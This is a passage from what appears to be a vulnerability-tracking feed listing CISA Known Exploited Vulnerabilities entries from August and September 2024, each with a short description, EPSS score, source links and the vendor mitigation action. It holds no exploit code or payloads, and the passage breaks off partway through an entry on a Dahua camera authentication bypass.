Oracle ADF Faces library, included with Oracle JDeveloper Distribution, contains a deserialization of untrusted data vulnerability leading to unauthenticated remote code execution.
EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21445: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25
CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-0618
Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability (Sep 18, 2024).
Microsoft SQL Server Reporting Services contains a deserialization vulnerability when handling page requests incorrectly. An authenticated attacker can exploit this vulnerability to execute code in the context of the Report Server service account.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0618: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25
CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache HugeGraph-Server Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2024-27348
Apache HugeGraph-Server Improper Access Control Vulnerability (Sep 18, 2024).
Apache HugeGraph-Server contains an improper access control vulnerability that could allow a remote attacker to execute arbitrary code.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-27348: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25
CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Double Free Vulnerablity
https://kevwire.com/record/CVE-2014-0502
Adobe Flash Player Double Free Vulnerablity (Sep 17, 2024).
Adobe Flash Player contains a double free vulnerability that allows a remote attacker to execute arbitrary code.
EPSS 24.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25
CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Code Execution Vulnerability
https://kevwire.com/record/CVE-2013-0648
Adobe Flash Player Code Execution Vulnerability (Sep 17, 2024).
Adobe Flash Player contains an unspecified vulnerability in the ExternalInterface ActionScript functionality that allows a remote attacker to execute arbitrary code via crafted SWF content.
EPSS 11.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0648: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25
CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Incorrect Default Permissions Vulnerability
https://kevwire.com/record/CVE-2013-0643
Adobe Flash Player Incorrect Default Permissions Vulnerability (Sep 17, 2024).
Adobe Flash Player contains an incorrect default permissions vulnerability in the Firefox sandbox that allows a remote attacker to execute arbitrary code via crafted SWF content.
EPSS 10.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0643: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25
CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Integer Underflow Vulnerablity
https://kevwire.com/record/CVE-2014-0497
Adobe Flash Player Integer Underflow Vulnerablity (Sep 17, 2024).
Adobe Flash Player contains an integer underflow vulnerability that allows a remote attacker to execute arbitrary code.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0497: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25
CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress WhatsUp Gold SQL Injection Vulnerability
https://kevwire.com/record/CVE-2024-6670
Progress WhatsUp Gold SQL Injection Vulnerability (Sep 16, 2024).
Progress WhatsUp Gold contains a SQL injection vulnerability that allows an unauthenticated attacker to retrieve the user's encrypted password if the application is configured with only a single user.
EPSS 93.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-6670: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25
CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 16, 2024; federal due date Oct 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-43461
Microsoft Windows MSHTML Platform Spoofing Vulnerability (Sep 16, 2024).
Microsoft Windows MSHTML Platform contains a user interface (UI) misrepresentation of critical information vulnerability that allows an attacker to spoof a web page. This vulnerability was exploited in conjunction with CVE-2024-38112.
EPSS 54.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-43461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25
CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 16, 2024; federal due date Oct 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Cloud Services Appliance OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-8190
Ivanti Cloud Services Appliance OS Command Injection Vulnerability (Sep 13, 2024).
Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS.
EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-8190: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25
CISA added this entry on 2024-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive future security updates.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 13, 2024; federal due date Oct 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Mark of the Web (MOTW) Protection Mechanism Failure Vulnerability
https://kevwire.com/record/CVE-2024-38217
Microsoft Windows Mark of the Web (MOTW) Protection Mechanism Failure Vulnerability (Sep 10, 2024).
Microsoft Windows Mark of the Web (MOTW) contains a protection mechanism failure vulnerability that allows an attacker to bypass MOTW-based defenses. This can result in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging.
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25
CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Installer Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2024-38014
Microsoft Windows Installer Improper Privilege Management Vulnerability (Sep 10, 2024).
Microsoft Windows Installer contains an improper privilege management vulnerability that could allow an attacker to gain SYSTEM privileges.
EPSS 6.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38014: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25
CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Publisher Protection Mechanism Failure Vulnerability
https://kevwire.com/record/CVE-2024-38226
Microsoft Publisher Protection Mechanism Failure Vulnerability (Sep 10, 2024).
Microsoft Publisher contains a protection mechanism failure vulnerability that allows attacker to bypass Office macro policies used to block untrusted or malicious files.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25
CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SonicOS Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2024-40766
SonicWall SonicOS Improper Access Control Vulnerability (Sep 9, 2024).
SonicWall SonicOS contains an improper access control vulnerability that could lead to unauthorized resource access and, under certain conditions, may cause the firewall to crash.
EPSS 18.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-40766: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25
CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel PIE Stack Buffer Corruption Vulnerability
https://kevwire.com/record/CVE-2017-1000253
Linux Kernel PIE Stack Buffer Corruption Vulnerability (Sep 9, 2024).
Linux kernel contains a position-independent executable (PIE) stack buffer corruption vulnerability in load_elf_ binary() that allows a local attacker to escalate privileges.
EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-1000253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25
CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ImageMagick Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2016-3714
ImageMagick Improper Input Validation Vulnerability (Sep 9, 2024).
ImageMagick contains an improper input validation vulnerability that affects the EPHEMERAL, HTTPS, MVG, MSL, TEXT, SHOW, WIN, and PLT coders. This allows a remote attacker to execute arbitrary code via shell metacharacters in a crafted image.
EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3714: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25
CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 9, 2024; federal due date Sep 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kingsoft WPS Office Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-7262
Kingsoft WPS Office Path Traversal Vulnerability (Sep 3, 2024).
Kingsoft WPS Office contains a path traversal vulnerability in promecefpluginhost.exe on Windows that allows an attacker to load an arbitrary Windows library.
EPSS 3.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25
CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Draytek VigorConnect Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-20124
Draytek VigorConnect Path Traversal Vulnerability (Sep 3, 2024).
Draytek VigorConnect contains a path traversal vulnerability in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20124: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25
CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Draytek VigorConnect Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-20123
Draytek VigorConnect Path Traversal Vulnerability (Sep 3, 2024).
Draytek VigorConnect contains a path traversal vulnerability in the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
EPSS 89.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25
CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Sep 3, 2024; federal due date Sep 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Inappropriate Implementation Vulnerability
https://kevwire.com/record/CVE-2024-7965
Google Chromium V8 Inappropriate Implementation Vulnerability (Aug 28, 2024).
Google Chromium V8 contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25
CISA added this entry on 2024-08-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 28, 2024; federal due date Sep 18, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache OFBiz Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2024-38856
Apache OFBiz Incorrect Authorization Vulnerability (Aug 27, 2024).
Apache OFBiz contains an incorrect authorization vulnerability that could allow remote code execution via a Groovy payload in the context of the OFBiz user process by an unauthenticated attacker.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25
CISA added this entry on 2024-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 27, 2024; federal due date Sep 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2024-7971
Google Chromium V8 Type Confusion Vulnerability (Aug 26, 2024).
Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 21.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25
CISA added this entry on 2024-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2024; federal due date Sep 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Versa Director Dangerous File Type Upload Vulnerability
https://kevwire.com/record/CVE-2024-39717
Versa Director Dangerous File Type Upload Vulnerability (Aug 23, 2024).
The Versa Director GUI contains an unrestricted upload of file with dangerous type vulnerability that allows administrators with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin privileges to customize the user interface. The “Change Favicon” (Favorite Icon) enables the upload of a .png file, which can be exploited to upload a malicious file with a .png extension disguised as an image.
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-39717: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25
CISA added this entry on 2024-08-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 23, 2024; federal due date Sep 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2021-31196
Microsoft Exchange Server Information Disclosure Vulnerability (Aug 21, 2024).
Microsoft Exchange Server contains an information disclosure vulnerability that allows for remote code execution.
EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31196: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25
CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-0185
Linux Kernel Heap-Based Buffer Overflow Vulnerability (Aug 21, 2024).
Linux kernel contains a heap-based buffer overflow vulnerability in the legacy_parse_param function in the Filesystem Context functionality. This allows an attacker to open a filesystem that does not support the Filesystem Context API and ultimately escalate privileges.
EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0185: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25
CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dahua IP Camera Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-33045
Dahua IP Camera Authentication Bypass Vulnerability (Aug 21, 2024).
Dahua IP cameras and related products contain an authentication bypass vulnerability when the loopback device is specified by the client during authentication.
